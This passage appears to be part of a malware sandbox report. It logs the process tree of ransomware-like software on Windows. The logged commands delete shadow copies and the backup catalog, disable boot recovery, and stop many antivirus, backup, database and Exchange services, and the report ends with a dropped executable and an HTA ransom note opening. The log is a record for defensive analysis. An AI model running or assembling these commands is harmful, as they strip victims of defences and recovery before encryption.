- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1592
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no
  2⤵
  PID:976
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell" Get-MpPreference -verbose
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1660
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop avpsus /y
  2⤵
  PID:784
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop avpsus /y
    3⤵
    PID:1688
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop McAfeeDLPAgentService /y
  2⤵
  PID:1700
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop McAfeeDLPAgentService /y
    3⤵
    PID:1364
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop mfewc /y
  2⤵
  PID:1936
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop mfewc /y
    3⤵
    PID:1112
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BMR Boot Service /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:780
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BMR Boot Service /y
    3⤵
    PID:1040
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop NetBackup BMR MTFTP Service /y
  2⤵
  PID:1260
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop NetBackup BMR MTFTP Service /y
    3⤵
    PID:1364
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop DefWatch /y
  2⤵
  PID:304
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop DefWatch /y
    3⤵
    PID:112
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop ccEvtMgr /y
  2⤵
  PID:1544
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop ccEvtMgr /y
    3⤵
    PID:1904
- C:\Windows\SysWOW64\net.exe
  "net.exe" top SavRoam /y
  2⤵
  PID:1776
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 top SavRoam /y
    3⤵
    PID:824
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop ccSetMgr /y
  2⤵
  PID:1928
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop ccSetMgr /y
    3⤵
    PID:576
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop RTVscan /y
  2⤵
  PID:1648
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop RTVscan /y
    3⤵
    PID:2112
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop QBFCService /y
  2⤵
  PID:1748
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop QBFCService /y
    3⤵
    PID:2120
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop QBIDPService /y
  2⤵
  PID:1664
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop QBIDPService /y
    3⤵
    PID:2064
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop Intuit.QuickBooks.FCS /y
  2⤵
  PID:524
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop Intuit.QuickBooks.FCS /y
    3⤵
    PID:2128
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop QBCFMonitorService /y
  2⤵
  PID:324
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop QBCFMonitorService /y
    3⤵
    PID:2104
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop YooBackup /y
  2⤵
  PID:1584
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop YooBackup /y
    3⤵
    PID:2080
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop YooIT /y
  2⤵
  PID:872
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop YooIT /y
    3⤵
    PID:2096
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop zhudongfangyu /y
  2⤵
  PID:1960
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop zhudongfangyu /y
    3⤵
    PID:2088
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop stc_raw_agent /y
  2⤵
  PID:1040
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop stc_raw_agent /y
    3⤵
    PID:2072
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop VSNAPVSS /y
  2⤵
  PID:1188
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop VSNAPVSS /y
    3⤵
    PID:2136
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop VeeamTransportSvc /y
  2⤵
  PID:1620
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop VeeamTransportSvc /y
    3⤵
    PID:2192
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop VeeamDeploymentService /y
  2⤵
  PID:2164
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop VeeamDeploymentService /y
    3⤵
    PID:2316
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop VeeamNFSSvc /y
  2⤵
  PID:2292
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop VeeamNFSSvc /y
    3⤵
    PID:2396
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop veeam /y
  2⤵
  PID:2328
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop veeam /y
    3⤵
    PID:2464
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop PDVFSService /y
  2⤵
  PID:2356
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop PDVFSService /y
    3⤵
    PID:2512
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecVSSProvider /y
  2⤵
  PID:2380
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecVSSProvider /y
    3⤵
    PID:2536
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecAgentAccelerator /y
  2⤵
  PID:2412
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecAgentAccelerator /y
    3⤵
    PID:2520
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecAgentBrowser /y
  2⤵
  PID:2428
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecAgentBrowser /y
    3⤵
    PID:2644
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecDiveciMediaService /y
  2⤵
  PID:2452
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecDiveciMediaService /y
    3⤵
    PID:2924
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecJobEngine /y
  2⤵
  PID:2492
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecJobEngine /y
    3⤵
    PID:2948
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop CASAD2DWebSvc /y
  2⤵
  PID:2600
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop CASAD2DWebSvc /y
    3⤵
    PID:2972
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop CAARCUpdateSvc /y
  2⤵
  PID:2620
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop CAARCUpdateSvc /y
    3⤵
    PID:3064
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop AcronisAgent /y
  2⤵
  PID:2592
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop AcronisAgent /y
    3⤵
    PID:2916
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop AcrSch2Svc /y
  2⤵
  PID:2584
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop AcrSch2Svc /y
    3⤵
    PID:2932
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecRPCService /y
  2⤵
  PID:2568
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecRPCService /y
    3⤵
    PID:2080
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecManagementService /y
  2⤵
  PID:2556
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecManagementService /y
    3⤵
    PID:2844
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop -n apache24
  2⤵
  PID:2636
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop -n apache24
    3⤵
    PID:1112
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop sophos /y
  2⤵
  PID:2628
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop sophos /y
    3⤵
    PID:2908
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop mysql57
  2⤵
  PID:2652
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop mysql57
    3⤵
    PID:2056
- C:\Windows\SysWOW64\net.exe
  "net.exe" wrapper
  2⤵
  PID:2660
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 wrapper
    3⤵
    PID:2860
- C:\Windows\SysWOW64\net.exe
  "net.exe" DefWatch
  2⤵
  PID:2680
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 DefWatch
    3⤵
    PID:3056
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop ccEvtMgr /y
  2⤵
  PID:2696
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop ccEvtMgr /y
    3⤵
    PID:1560
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop ccSetMgr /y
  2⤵
  PID:2712
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop ccSetMgr /y
    3⤵
    PID:2940
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop SavRoam /y
  2⤵
  PID:2760
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop SavRoam /y
    3⤵
    PID:788
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop Sqlservr /y
  2⤵
  PID:2780
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop Sqlservr /y
    3⤵
    PID:3048
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop Culserver /y
  2⤵
  PID:2876
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop Culserver /y
    3⤵
    PID:3040
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop sqladhlp /y
  2⤵
  PID:2868
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop sqladhlp /y
    3⤵
    PID:3012
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop sqlagent /y
  2⤵
  PID:2852
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop sqlagent /y
    3⤵
    PID:2996
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop RTVscan /y
  2⤵
  PID:2956
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop RTVscan /y
    3⤵
    PID:1592
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop sqlbrowser /y
  2⤵
  PID:1932
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop sqlbrowser /y
    3⤵
    PID:2144
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop QLADHLP /y
  2⤵
  PID:2092
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop QLADHLP /y
    3⤵
    PID:2188
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop QBIDPService /y
  2⤵
  PID:2156
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop QBIDPService /y
    3⤵
    PID:1604
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop Intuit /y
  2⤵
  PID:1764
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop Intuit /y
    3⤵
    PID:1804
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop QuickBooks /y
  2⤵
  PID:1392
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop QuickBooks /y
    3⤵
    PID:1844
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop FCS /y
  2⤵
  PID:2012
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop FCS /y
    3⤵
    PID:2052
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop msmdsrv /y
  2⤵
  PID:2000
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop msmdsrv /y
    3⤵
    PID:2008
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop QBCFMonitorService /y
  2⤵
  PID:2064
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop QBCFMonitorService /y
    3⤵
    PID:1788
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop tomcat6 /y
  2⤵
  PID:1824
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop tomcat6 /y
    3⤵
    PID:580
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop zhudongfangyu /y
  2⤵
  PID:2228
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop zhudongfangyu /y
    3⤵
    PID:2248
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop vmware /y
  2⤵
  PID:556
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop vmware /y
    3⤵
    PID:2468
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop vmware-converter /y
  2⤵
  PID:1116
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop vmware-converter /y
    3⤵
    PID:2404
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop dbsrv12 /y
  2⤵
  PID:1688
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop dbsrv12 /y
    3⤵
    PID:2432
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop MSSQL$MICROSOFT /y
  2⤵
  PID:2264
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop MSSQL$MICROSOFT /y
    3⤵
    PID:2444
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop dbeng8 /y
  2⤵
  PID:1628
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop dbeng8 /y
    3⤵
    PID:2376
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop ##WID /y
  2⤵
  PID:2272
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop ##WID /y
    3⤵
    PID:2540
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop MSSQL$VEEAMSQL2012 /y
  2⤵
  PID:1084
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop MSSQL$VEEAMSQL2012 /y
    3⤵
    PID:2580
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop SQLBrowser /y
  2⤵
  PID:2172
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop SQLBrowser /y
    3⤵
    PID:2332
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop SQLWriter /y
  2⤵
  PID:2340
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop SQLWriter /y
    3⤵
    PID:584
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop SQLAgent$VEEAMSQL2012 /y
  2⤵
  PID:2196
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop SQLAgent$VEEAMSQL2012 /y
    3⤵
    PID:2460
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop FishbowlMySQL /y
  2⤵
  PID:2564
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop FishbowlMySQL /y
    3⤵
    PID:580
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop MSSQL$KAV_CS_ADMIN_KIT /y
  2⤵
  PID:2436
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop MSSQL$KAV_CS_ADMIN_KIT /y
    3⤵
    PID:2408
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop MySQL57 /y
  2⤵
  PID:2520
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop MySQL57 /y
    3⤵
    PID:2116
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop SQLAgent$KAV_CS_ADMIN_KIT /y
  2⤵
  PID:2772
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop SQLAgent$KAV_CS_ADMIN_KIT /y
    3⤵
    PID:2148
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop MSSQLServerADHelper100 /y
  2⤵
  PID:2752
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop MSSQLServerADHelper100 /y
    3⤵
    PID:1920
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop msftesql /y
  2⤵
  PID:2420
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop msftesql /y
    3⤵
    PID:2312
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop MSSQL$MICROSOFT##SSEE /y
  2⤵
  PID:2532
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop MSSQL$MICROSOFT##SSEE /y
    3⤵
    PID:1944
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop SQLAgent$SBSMONITORING /y
  2⤵
  PID:2744
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop SQLAgent$SBSMONITORING /y
    3⤵
    PID:2316
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop SQLAgent$SHAREPOINT /y
  2⤵
  PID:2588
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop SQLAgent$SHAREPOINT /y
    3⤵
    PID:2152
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop MSSQLFDLauncher$SBSMONITORING /y
  2⤵
  PID:2968
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop MSSQLFDLauncher$SBSMONITORING /y
    3⤵
    PID:2848
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop SQLAgent$SHAREPOINT /y
  2⤵
  PID:2976
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop SQLAgent$SHAREPOINT /y
    3⤵
    PID:2384
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop MSSQL$SHAREPOINT /y
  2⤵
  PID:2832
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop MSSQL$SHAREPOINT /y
    3⤵
    PID:2916
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop QBFCService /y
  2⤵
  PID:2560
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop QBFCService /y
    3⤵
    PID:2252
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop QBVSS /y
  2⤵
  PID:2576
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop QBVSS /y
    3⤵
    PID:2124
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop MSSQL$SBSMONITORING /y
  2⤵
  PID:1320
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop MSSQL$SBSMONITORING /y
    3⤵
    PID:2288
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop Exchange /y
  2⤵
  PID:2792
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop Exchange /y
    3⤵
    PID:2424
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop YooBackup /y
  2⤵
  PID:2596
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop YooBackup /y
    3⤵
    PID:1904
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop MSSQL$MICROSOFT /y
  2⤵
  PID:2524
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop MSSQL$MICROSOFT /y
    3⤵
    PID:844
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop YooIT /y
  2⤵
  PID:2676
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop YooIT /y
    3⤵
    PID:2100
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop vss /y
  2⤵
  PID:2952
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop vss /y
    3⤵
    PID:1704
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop MSSQL$ /y
  2⤵
  PID:2892
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop MSSQL$ /y
    3⤵
    PID:2348
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop memtas /y
  2⤵
  PID:3008
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop memtas /y
    3⤵
    PID:2580
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop MSSQL /y
  2⤵
  PID:3000
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop MSSQL /y
    3⤵
    PID:2872
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop mepocs /y
  2⤵
  PID:2984
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop mepocs /y
    3⤵
    PID:2336
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop veeam /y
  2⤵
  PID:3028
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop veeam /y
    3⤵
    PID:2020
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop backup /y
  2⤵
  PID:3040
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop backup /y
    3⤵
    PID:2368
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop bedbg /y
  2⤵
  PID:576
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop bedbg /y
    3⤵
    PID:2444
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop sophos /y
  2⤵
  PID:3048
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop sophos /y
    3⤵
    PID:2304
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop svc$ /y
  2⤵
  PID:2728
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop svc$ /y
    3⤵
    PID:2508
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop sql /y
  2⤵
  PID:2496
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop sql /y
    3⤵
    PID:2352
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop PDVFSService /y
  2⤵
  PID:2056
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop PDVFSService /y
    3⤵
    PID:2500
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecVSSProvider /y
  2⤵
  PID:3036
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecVSSProvider /y
    3⤵
    PID:2120
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecAgentAccelerator /y
  2⤵
  PID:3020
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecAgentAccelerator /y
    3⤵
    PID:2008
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecAgentBrowser /y
  2⤵
  PID:2624
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecAgentBrowser /y
    3⤵
    PID:2280
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecJobEngine /y
  2⤵
  PID:3004
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecJobEngine /y
    3⤵
    PID:2192
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecDiveciMediaService /y
  2⤵
  PID:1424
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecDiveciMediaService /y
    3⤵
    PID:2344
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecManagementService /y
  2⤵
  PID:2236
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecManagementService /y
    3⤵
    PID:472
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecRPCService /y
  2⤵
  PID:288
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecRPCService /y
    3⤵
    PID:2464
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop MVArmor /y
  2⤵
  PID:1524
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop MVArmor /y
    3⤵
    PID:3100
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop stc_raw_agent /y
  2⤵
  PID:2548
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop stc_raw_agent /y
    3⤵
    PID:3108
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop MVarmor64 /y
  2⤵
  PID:2476
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop MVarmor64 /y
    3⤵
    PID:3116
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop VSNAPVSS /y
  2⤵
  PID:2784
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop VSNAPVSS /y
    3⤵
    PID:3132
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop VeeamTransportSvc /y
  2⤵
  PID:2820
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop VeeamTransportSvc /y
    3⤵
    PID:3140
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop VeeamDeploymentService /y
  2⤵
  PID:1560
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop VeeamDeploymentService /y
    3⤵
    PID:3564
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop VeeamNFSSvc /y
  2⤵
  PID:2460
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop VeeamNFSSvc /y
    3⤵
    PID:3588
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop AcronisAgent /y
  2⤵
  PID:3084
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop AcronisAgent /y
    3⤵
    PID:3612
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop ARSM /y
  2⤵
  PID:3092
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop ARSM /y
    3⤵
    PID:3620
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop WSBExchange /y
  2⤵
  PID:3188
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop WSBExchange /y
    3⤵
    PID:3652
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop CAARCUpdateSvc /y
  2⤵
  PID:3164
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop CAARCUpdateSvc /y
    3⤵
    PID:3644
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop CASAD2DWebSvc /y
  2⤵
  PID:3156
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop CASAD2DWebSvc /y
    3⤵
    PID:3596
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop MSExchange /y
  2⤵
  PID:3200
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop MSExchange /y
    3⤵
    PID:3636
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop AcrSch2Svc /y
  2⤵
  PID:3148
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop AcrSch2Svc /y
    3⤵
    PID:3604
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop MSExchange$ /y
  2⤵
  PID:3220
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop MSExchange$ /y
    3⤵
    PID:3628
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /C sc delete VSS
  2⤵
  PID:3292
- - C:\Windows\SysWOW64\sc.exe
    sc delete VSS
    3⤵
    - Launches sc.exe
    PID:3404
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C wbadmin delete catalog -quiet
  2⤵
  PID:3420
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C vssadmin delete shadows /all /quiet & wmic shadowcopy delete
  2⤵
  PID:3444
- - C:\Windows\SysWOW64\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:3468
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3496
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no
  2⤵
  PID:3528
- C:\Users\Admin\AppData\Local\Temp\lsm.exe
  "C:\Users\Admin\AppData\Local\Temp\lsm.exe"
  2⤵
  - Executes dropped EXE
  PID:3552
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c ""C:\Users\Admin\AppData\Local\Temp\is64.bat" "
    3⤵
    PID:3772
- C:\Windows\SysWOW64\mshta.exe
  "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\readme-warning.hta"
  2⤵
  - Modifies Internet Explorer settings
  PID:3816
- C:\Windows\SysWOW64\mshta.exe
